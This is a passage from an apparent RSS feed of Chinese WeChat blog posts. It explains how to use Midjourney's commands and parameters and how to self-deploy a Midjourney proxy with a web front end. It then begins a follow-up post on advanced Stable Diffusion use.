src="https://wechat2rss.xlab.app/img-proxy/?k=f5c8fdc9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUkgpjnXnpsHicP4rekAM57P1HwL5hanN06gibX98UdOMibUkUBZVeZNcibg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>现在的Midjourney已经正式转为</span><strong>收费版本</strong><span>了，价格还是比较便宜的，最便宜的版本一个月60多块也还算能接受。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5692883895131086" width="1213.6363373315044" data-type="png" data-w="1335" src="https://wechat2rss.xlab.app/img-proxy/?k=e009b502&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUWsTfmCmDWD0tHMG7xPeIiaxoZ2wYbnaOZE7JfjNDGtgNURNAkggIL8g%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>订阅完成之后就</span><strong>可以加入Midjourney的频道，在左边可以选择newbie或者general的频道</strong><span>进去</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="1.7777777777777777" width="471" data-type="png" data-w="720" src="https://wechat2rss.xlab.app/img-proxy/?k=98303bcb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUJVwt5RKboYrAqBZic8c5aD8PicZITQgVqhzp9icC520xnZ1RP5gCtIqmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>你可以直接在这个频道里使用，当然，这个频道里消息非常多，刷的很快，也有一个办法是你可以</span><strong>在自己的私人频道使用这个bot</strong><span>。首先你需要有一个你</span><strong>拥有管理权限的频道</strong><span>，然后在Midjourney中找到这个bot并把它添加到自己的服务器中。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="1.3591682419659736" width="480.9090804856673" data-type="png" data-w="529" src="https://wechat2rss.xlab.app/img-proxy/?k=075be546&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUjteDxmnicwKsJdDWgQSAr9tmExSA2rcTzcpkcycbbQn3A5M2IfCpW8w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>然后就可以</span><strong>正常的使用命令</strong><span>了。</span></p><p style="min-height: 24px;"><strong>最常用的命令就是/imagine</strong><span>，输入命令会直接引导格式让你输入对应的prompt，但很可惜的是Midjourney本体</span><strong>对中文的支持并不是很好</strong><span>，生成结束之后就会弹出结果。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6605890603085554" width="648.181804132856" data-type="png" data-w="713" src="https://wechat2rss.xlab.app/img-proxy/?k=99f405a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUialgg8YWLMC6AWh7uWzEYs4sqK01unFic3q1XIWLw0gCp9Qlt4NykWIA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>下面的几个选项对应的是</span><strong>上面图的进一步发展方向</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="1.0748752079866888" width="475.99432373046875" data-type="png" data-w="601" src="https://wechat2rss.xlab.app/img-proxy/?k=0f147590&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUjsdvdJoiadovXqp9iaf5CxTxicCdibxvoT5V4GaALh3wySsia5qnl3iaKh5w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>其中</span><strong>U是选定并放大其中的一张图，V是选定一张图在这个图的结构上进一步生成</strong><span>，如果都不满意还可以重新生成一次。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.59613196814562" width="799.0908917710805" data-type="png" data-w="879" src="https://wechat2rss.xlab.app/img-proxy/?k=41745b96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUKnsDXrW9D7XwiaG5gPptH1ia3fZePdib1fFojaib8NbLIqfyicn5aOHu9lA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>假设我们选择U1之后，他会获得一个</span><strong>放大版本的更多细节的图。</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6434676434676435" width="744.5454384078668" data-type="png" data-w="819" src="https://wechat2rss.xlab.app/img-proxy/?k=c8c27be9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKU7JOXToRSZKMDYNbU4do3ULSQDJWfIMACexYO9dyL2cpe2P1VXiabmicA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>之后如果你还想进一步生成，还可以点选</span><strong>Make Variations来继续生成之前的4格图</strong><span>继续风格的演变和生成。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>进阶配置</span></h1><p style="min-height: 24px;"><span>Midjourney的基础用法就是</span><strong>用imagine配合基础的文字描述</strong><span>来生成图片</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2894736842105263" width="570" data-type="png" data-w="570" src="https://wechat2rss.xlab.app/img-proxy/?k=ab5b499b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUKd4ItgSQ5Xff6yvSPOwUZJZHrcuBjicqAWzVpI1v3pRGCBGUibpAS47w%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>但事实上，Midjourney还有</span><strong>很多进阶选项</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.14166666666666666" width="1200" data-type="png" data-w="1200" src="https://wechat2rss.xlab.app/img-proxy/?k=c6e58107&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUJcsJOBxibDh92OduibD7SGFje2ndH5sWBWrVicCCy5Yz9HWl4lKsOOMcg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>首先你可以通过</span><strong>传入图片链接来使用图生图功能</strong><span>。除此之外，还有一些参数可以提供。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong>--aspect，--ar：</strong><span>修改生成图片的纵横比.</span></p></li></ul><p style="min-height: 24px;"><span>ps: --aspect 2:3</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong>--chaos &lt;number 0–100&gt;：</strong><span>改变结果的多样性，值越高变量越大</span></p></li><li><p><strong>--iw &lt;0–2&gt;：</strong><span>设置图片prompt和文字prompt的权重比例，默认值是1</span></p></li><li><p><strong>--no Negative prompting：</strong><span>否定提示词，比如说--no plants可以去除图里的植物</span></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6114221724524076" width="659.178955078125" data-type="png" data-w="893" src="https://wechat2rss.xlab.app/img-proxy/?k=3aa76e37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUqmpwh3N2hJJZCD676MJqZuSOiciaa2X1Hw9TmOXt66bzUj7l9MHapIlw%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><strong>--quality &lt;.25, .5, or 1&gt;：</strong><span>花费多少渲染质量时间，默认值是1</span></p></li><li><p><strong>--repeat &lt;1–40&gt;，--r &lt;1–40&gt;：</strong><span>重复多少次</span></p></li><li><p><strong>--seed &lt;integer between 0–4294967295&gt;：</strong><span>随机数种子</span></p></li><li><p><strong>--stop &lt;integer between 10–100&gt;：</strong><span>在中途停止生成</span></p></li><li><p><strong>--style &lt;raw&gt;：</strong><span>切换Midjourney的版本</span></p></li><li><p><strong>--stylize &lt;number&gt;，--s &lt;number&gt;：</strong><span>Midjourney美术风格的强度</span></p></li><li><p><strong>--tile：</strong><span>重复图块以生成更大的图</span></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.9823874755381604" width="464.5454444767032" data-type="png" data-w="511" src="https://wechat2rss.xlab.app/img-proxy/?k=3db7d8eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKU9LBn6M88icAl91UthjOjF8cW4AuD9B1Kr0W6PUOdMdpgWeX5vTIcsWQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>除此之外你也可以指定使用Midjourney不同版本的基础模型</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><span>-</span><strong>-niji：</strong><span>适用于动漫风格的基础模型</span></p></li><li><p><strong>--version &lt;1, 2, 3, 4, or 5&gt;：</strong><span>不同版本的Midjourney算法</span></p></li></ul><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>继续拓展</span></h1><p style="min-height: 24px;"><span>在使用Midjourney的过程中，能最明显感觉到的是，Midjourney其实是通过</span><strong>大幅度简化来实现产品使用体验的大幅度提升</strong><span>，使用Midjourney你并</span><strong>不能像SD一样在很多地方影响图片的生成逻辑</strong><span>，拿生成赛博偶像的系列图举例子，你</span><strong>很难生成同样外形的多个系列图片</strong><span>。</span></p><p style="min-height: 24px;"><span>而Midjourney这个工具其实更聚焦于设计师群体，重要的是你想要画一个什么东西出来，</span><strong>一个符合预期的prompt提示词，配合多轮的迭代式绘画改进，你基本上可以用Midjourney画出一个满意的东西。</strong></p><p style="min-height: 24px;"><span>而我觉得Midjourney除了</span><strong>超棒的交互式体验</strong><span>，最牛的就是</span><strong>底层关键词的解读逻辑有效度非常之高，而且基础模型的审美非常不错</strong><span>，你大概写一个描述词基本上都能得到一个质量非常高的图，这点是其他绘画ai都达不到的高度。</span></p><p style="min-height: 24px;"><span>举个例子，</span><strong>a hacker before computer</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.7247278382581649" width="584.5454418757733" data-type="png" data-w="643" src="https://wechat2rss.xlab.app/img-proxy/?k=c90ea279&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKU2x5vguuc9DS4m6tSrmSLGD2QTb9mvvWBgTRD3kfVKibA4Yk1FLzIVLw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>如果是在</span><strong>文心一言</strong><span>，你就会得到这样一个图</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.5118881118881119" width="649.9999859116298" data-type="png" data-w="715" src="https://wechat2rss.xlab.app/img-proxy/?k=160117a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKU6uwE2VIGVLNW5y9K6cX5vgyuYibPI26AeufnC1QeNEr0YKKvDXMJwBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这里你能很明显的感受到他们的区别，就是</span><strong>Midjourney生成结果质量非常之高</strong><span>，你还可以让他进一步生成，如果你觉得直接选择V变化太小了，你可以选择</span><strong>用大图来重新图生图。</strong></p><p style="min-height: 24px;"><span>比如这里我拿第二个图进行重新生成，</span><strong>加入赛博朋克风格</strong></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.8177083333333334" width="523.6363522868513" data-type="png" data-w="576" src="https://wechat2rss.xlab.app/img-proxy/?k=a5a34a62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUkiaCkTgVfLxRMve4EBFrZvBY6uW4ETL2k9vAqTJIG05b2L9RibW6icfZA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>当然你可能没有什么想法，但你只是喜欢这个画风，那你</span><strong>可以通过chaos这个参数来增加多样性</strong><span>，当然这个值建议不要设置太大，否则基本和原图就关系不大了。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6114457831325302" width="603.6363505528981" data-type="png" data-w="664" src="https://wechat2rss.xlab.app/img-proxy/?k=d7446f69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUT7iakjLZPhWBJ4IZKSNp3U96qMmLaicoOeJic3fM2Yo8ht10DXX93Dzlg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><strong>你可以在midjourney上轻而易举的获得你想要的任何改动，不用担心你的需求无法理解，Midjourney会不知疲倦的持续产出各种东西来。每次用这个东西的时候都能感觉到设计师的悲惨。</strong></p><p style="min-height: 24px;"><span>之前也曾经听过一个事情，设计师届曾</span><strong>大量的抱团反对ai绘画工具的诞生，用设计师设计的东西训练ai，最后反倒毁掉了设计师的工作</strong><span>，真是令人唏嘘。</span></p><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 10px;"><span>在线部署Midjourney</span></h1><p style="min-height: 24px;"><span>前面说了很多关于Midjourney的使用问题，但对于国内来说Midjourney最大的问题就是discord是需要科学的。所以接下来介绍一个可以在国内部署的方案</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/novicezk/midjourney-proxy" target="_blank">https://github.com/novicezk/midjourney-proxy</a></p></li></ul><p style="min-height: 24px;"><span>你可以使用这个项目来部署一个Midjourney的代理，我觉得比较好用的是部署在Railway的版本，不需要用自己的服务器，这个网站提供免费的5美刀和每个月免费的500小时使用。</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md" target="_blank">https://github.com/LoRexxar/midjourney-proxy/blob/main/docs/railway-start.md</a></p></li></ul><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.2778561354019746" width="644.5454405753084" data-type="png" data-w="709" src="https://wechat2rss.xlab.app/img-proxy/?k=cd668046&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKU0O903TEC1CWH1Fp8hqsQmqKALyXw20HGel627EHVxcf4kOgc1e1Cbw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.27079107505070993" width="896.3636169354781" data-type="png" data-w="986" src="https://wechat2rss.xlab.app/img-proxy/?k=099a0661&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKU3fhGePmjyYsjxpXZNw42g6aosRibbhXlV2yxS9PciapggE7LP25amLhw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>部署完成之后可以获得一个mid的链接</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.442090395480226" width="643.6363496859215" data-type="png" data-w="708" src="https://wechat2rss.xlab.app/img-proxy/?k=346f9cb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUibfpFnvia2wH04AXiaicdibxuRDNk4UOFLqIC7rgQzebYZCQIoPYAfPhZKw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>这个时候还只有api，你需要配合一个前端来完成，我选用了魔改版的ChatGPT-Midjourney</span></p><ul class="list-paddingleft-1" style="padding-left: 23px;"><li><p><a href="https://github.com/Licoy/ChatGPT-Midjourney" target="_blank">https://github.com/Licoy/ChatGPT-Midjourney</a></p></li></ul><p style="min-height: 24px;"><span>这个东西可以直接部署Vercel版本的，非常好弄，直接点击deploy就可以开始配置了</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.3928320449754041" width="1293.6363355975511" data-type="png" data-w="1423" src="https://wechat2rss.xlab.app/img-proxy/?k=17e091c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUOJR0NG2yRsY7VSiaMpOshNx6ca1IxvGzE0ZIltVoyHOhPicATNFJ7Vgg%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><span>部署好了绑定域名就可以用了，很方便。</span></p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.6351791530944625" width="837.27270912533" data-type="png" data-w="921" src="https://wechat2rss.xlab.app/img-proxy/?k=23c47485&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6UR4ScrPO4pKmcrHwZiaeHSKUqx59bZMjPAK0FQ4z39HjmxIfz4pJq1KxQDDjyGEuOzcJic7DqHqMfjQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://lorexxar.cn/2023/06/21/cybergirl3/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7696ba82&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484050%26idx%3D1%26sn%3D91a639457b4bbfed5d2ec1a826642f9b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 21 Jun 2023 17:36:00 +0800</pubDate>
    </item>
    <item>
      <title>赛博偶像速成指南（二）- SD进阶篇</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484024&amp;idx=1&amp;sn=ed9552e2f08d4374adb0095757d1c003</link>
      <description>在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2023-06-02 18:20</span> <span style="display: inline-block;">北京</span>
</p>

<p>在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6dbb838b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6UR20c7dfd6VYxosiaqFnSibznmgyuKlOtBQ1XhobID5D8SKP2LCSFa9VA5tv4XhnjKucicaIWYo2wsFA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><ne-clipboard data="%7B%22type%22%3A%22fragment%22%2C%22name%22%3A%22%23fragment%22%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ub7382472%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u6f9babf0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E7%AC%AC%E4%B8%80%E7%AF%87%E5%85%B3%E4%BA%8EAI%E7%BB%98%E5%9B%BE%E7%9A%84%E6%96%87%E7%AB%A0%E4%B8%AD%EF%BC%8C%E6%88%91%E4%B8%BB%E8%A6%81%E4%BB%8B%E7%BB%8D%E4%BA%86%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u3de54486%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(35%2C%2057%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22stable%20diffusion%E7%9A%84%E5%90%84%E7%A7%8D%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ubafe0141%22%2C%22name%22%3A%22uli%22%2C%22attrs%22%3A%7B%22indexStyle%22%3A%7B%7D%2C%22list%22%3A%22u9d30af37%22%2C%22fid%22%3A%22u40d16523%22%2C%22indexType%22%3A0%2C%22parentIndex%22%3A%5B%5D%2C%22index%22%3A0%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u44340c4b%22%2C%22name%22%3A%22link%22%2C%22attrs%22%3A%7B%22external%22%3Atrue%2C%22src%22%3A%22https%3A%2F%2Florexxar.cn%2F2023%2F02%2F21%2Fcyber-girl%2F%22%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uca72ad0a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22https%3A%2F%2Florexxar.cn%2F2023%2F02%2F21%2Fcyber-girl%2F%22%7D%5D%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2ef583bb%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u300571c8%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%9C%A8midjounry%E6%94%B6%E8%B4%B9%E4%B9%8B%E5%90%8E%EF%BC%8C%E9%99%A4%E9%9D%9E%E4%BD%A0%E5%AF%B9AI%E7%BB%98%E5%9B%BE%E8%BF%99%E4%B8%AA%E6%93%8D%E4%BD%9C%E6%9C%AC%E8%BA%AB%E6%9C%89%E5%BC%BA%E9%9C%80%E6%B1%82%EF%BC%8C%E5%90%A6%E5%88%99%E5%9C%A8%E5%85%8D%E8%B4%B9%E8%87%AA%E5%BB%BA%E7%9A%84%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u92dcfd67%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(35%2C%2057%2C%2077)%22%2C%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22stable%20diffusion%E4%B8%8A%E5%81%9A%E6%8B%93%E5%B1%95%E5%B0%B1%E6%88%90%E4%BA%86%E7%8E%B0%E5%9C%A8%E6%9C%80%E5%A5%BD%E7%9A%84%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u2164c73e%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u3c95f879%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(35%2C%2057%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E8%BF%99%E7%AF%87%E6%96%87%E7%AB%A0%E5%B0%B1%E8%81%8A%E4%B8%80%E4%BA%9Bstable%20diffusion%E7%9A%84%E4%B8%80%E4%BA%9B%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E5%92%8C%E5%85%B3%E9%94%AE%E7%82%B9%E3%80%82%E5%85%B6%E4%B8%AD%E6%9C%89%E4%B8%8D%E5%B0%91%E8%BF%98%E6%98%AF%E5%BE%88%E6%9C%89%E6%84%8F%E6%80%9D%E7%9A%84%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22d3uC0%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1a991648%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E7%BA%BF%E9%83%A8%E7%BD%B2stable%20diffusion%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u028f05fe%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u79b94590%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22AI%E7%9B%B8%E5%85%B3%E7%9A%84%E4%B8%9C%E8%A5%BF%E9%83%BD%E6%9C%89%E4%B8%80%E4%B8%AA%E5%BE%88%E5%A4%A7%E7%9A%84%E5%85%B1%E5%90%8C%E7%82%B9%E5%B0%B1%E6%98%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ua8a037e0%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E5%AF%B9GPU%E7%9A%84%E7%AE%97%E5%8A%9B%E8%A6%81%E6%B1%82%E5%A4%AA%E9%AB%98%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1019094e%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E7%9B%B8%E6%AF%94%E5%9C%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E8%BF%90%E8%A1%8C%EF%BC%8C%E6%9B%B4%E9%9D%A0%E8%B0%B1%E7%9A%84%E6%96%B9%E6%A1%88%E6%98%AF%E5%9C%A8%E6%9C%AC%E5%9C%B0%E7%94%B5%E8%84%91%E4%B8%8A%E8%B7%91%EF%BC%8C%E6%AF%94%E8%B5%B7%E5%8A%A8%E8%BE%845%E3%80%816%E4%BD%8D%E6%95%B0%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%99%A8%EF%BC%8C%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uae64daf4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%2C%22bold%22%3Atrue%7D%2C%22data%22%3A%22%E4%B8%80%E4%B8%AA%E5%85%A5%E9%97%A8%E7%BA%A7%E7%9A%844070ti%E5%B0%B1%E5%B7%B2%E7%BB%8F%E8%83%BD%E5%BA%94%E5%AF%B9%E5%A4%A7%E9%87%8F%E7%9A%84ai%E8%AE%AD%E7%BB%83%E5%9C%BA%E6%99%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u354b08bb%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BA%86%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22BX1cP%22%2C%22name%22%3A%22h2%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22uafcdedcf%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8Google%20Colab%E7%99%BD%E5%AB%96GPU%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uf6ebc6d1%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u26863e82%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22fontsize%22%3A16%7D%2C%22data%22%3A%22%E4%BD%86%E6%9C%89%E4%B8%AA%E5%BE%88%E7%89%B9%E6%AE%8A%E7%9A%84%E4%B8%9C%E8%A5%BF%E6%98%AF%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u239d1405%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22bold%22%3Atrue%2C%22color%22%3A%22rgb(61%2C%2070%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22Google%20Colab%22%7D%2C%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ub21c1659%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%22color%22%3A%22rgb(61%2C%2070%2C%2077)%22%2C%22fontsize%22%3A16%7D%2C%22data%22%3A%22%EF%BC%8C%E8%BF%99%E6%98%AFGoogle%E6%8F%90%E4%BE%9B%E7%9A%84%E5%85%8D%E8%B4%B9GPU%E7%AE%97%E5%8A%9B%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u94675676%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22ubdedf50c%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1685614218631-296b0c2f-f47d-4318-956f-98e5bac2b6ec.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A1066%2C%22height%22%3A244%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A28171%2C%22width%22%3A969.0908880864298%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ub64f90c1-d1c9-4035-bc45-e81f955ea6c%22%